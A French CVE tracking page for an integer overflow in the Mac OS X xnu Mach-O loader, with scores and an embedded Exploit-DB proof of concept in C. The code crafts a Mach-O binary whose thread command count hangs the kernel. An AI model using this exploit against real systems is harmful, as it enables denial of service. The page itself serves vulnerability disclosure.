Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
Integer overflow in the load_threadstack function in the Mach-O loader (mach_loader.c) in the xnu kernel in Apple Mac OS X 10.4 through 10.5.1 allows local users to cause a denial of service (infinite loop) via a crafted Mach-O binary.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Category : Numeric Errors Weaknesses in this category are related to improper calculation or conversion of numbers. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 4.9 | AV:L/AC:L/Au:N/C:N/I:N/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 4689
Date de publication : 2007-12-03 23h00 +00:00
Auteur : mu-b
EDB Vérifié : Yes
/* xnu-macho-dos.c
*
* Copyright (c) 2007 by <mu-b@digit-labs.org>
*
* Apple MACOS X xnu <= 1228.0 local kernel DoS POC
* by mu-b - Thu 15 Nov 2007
*
* - Tested on: Apple MACOS X 10.4 (xnu-792.22.5~1/RELEASE_I386)
* Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
* Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_PPC)
*
* integer overflow causes infinite loop in load_threadstack.
* (bsd/kern/mach_loader.c)
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#define MAX_PATH_LEN 128
#define LC_UNIXTHREAD 0x05
#define x86_THREAD_STATE32 0x01
/* osfmk/mach-o/loader.h */
struct thread_command {
unsigned long cmd; /* LC_THREAD or LC_UNIXTHREAD */
unsigned long cmdsize; /* total size of this command */
unsigned long flavor; /* flavor of thread state */
unsigned long count; /* count of longs in thread state */
};
static void *
xmalloc (int num_bytes)
{
char *buf;
buf = malloc (num_bytes);
if (buf == NULL)
{
fprintf (stderr, "malloc (): out of memory allocating %d-bytes!\n", num_bytes);
exit (EXIT_FAILURE);
}
return (buf);
}
int
main (int argc, char ** argv)
{
char fnbuf[MAX_PATH_LEN], *ptr, *cur, *end;
int fd, wfd, found, size;
struct stat fbuf;
printf ("Apple MACOS X xnu <= 1228.0 local kernel DoS PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
if (argc <= 1)
{
fprintf (stderr, "Usage: %s <macho-o binary>\n", argv[0]);
exit (EXIT_SUCCESS);
}
if ((fd = open (argv[1], O_RDONLY)) == -1)
{
perror ("open ()");
exit (EXIT_FAILURE);
}
snprintf (fnbuf, sizeof fnbuf, "%s-pown", argv[1]);
if ((wfd = open (fnbuf, O_RDWR | O_CREAT)) == -1)
{
perror ("open ()");
exit (EXIT_FAILURE);
}
if (fstat (fd, &fbuf) < 0)
{
perror ("fstat ()");
exit (EXIT_FAILURE);
}
size = fbuf.st_size;
ptr = xmalloc (sizeof (char) * size);
end = ptr + size;
if (read (fd, ptr, size) < size)
{
unlink (fnbuf);
perror ("write ()");
exit (EXIT_FAILURE);
}
close (fd);
for (cur = ptr, found = 0;
!found && cur + sizeof (struct thread_command) < end;
cur += sizeof (unsigned long))
{
struct thread_command *thr_cmd;
thr_cmd = (struct thread_command *) cur;
if (thr_cmd->cmd == LC_UNIXTHREAD &&
thr_cmd->flavor == x86_THREAD_STATE32)
{
thr_cmd->count = 0x3FFFFFFE;
printf ("* found at offset @0x%08X\n", cur - ptr);
found = 1;
}
}
if (!found)
{
unlink (fnbuf);
fprintf (stderr, "* ARGH! hueristic didn't find our target!\n");
exit (EXIT_FAILURE);
}
write (wfd, ptr, size);
fchmod(wfd, fbuf.st_mode);
close (wfd);
free (ptr);
fprintf (stdout, "* done\nexecute ./%s at your own risk!$%%!\n", fnbuf);
return (EXIT_SUCCESS);
}
// milw0rm.com [2007-12-04]
Products Mentioned
Configuraton 0
Apple>>Mac_os_x >> Version 10.4
- Apple>>Mac_os_x >> Version 10.4 (Open CPE detail)
Apple>>Mac_os_x >> Version 10.5.1
- Apple>>Mac_os_x >> Version 10.5.1 (Open CPE detail)
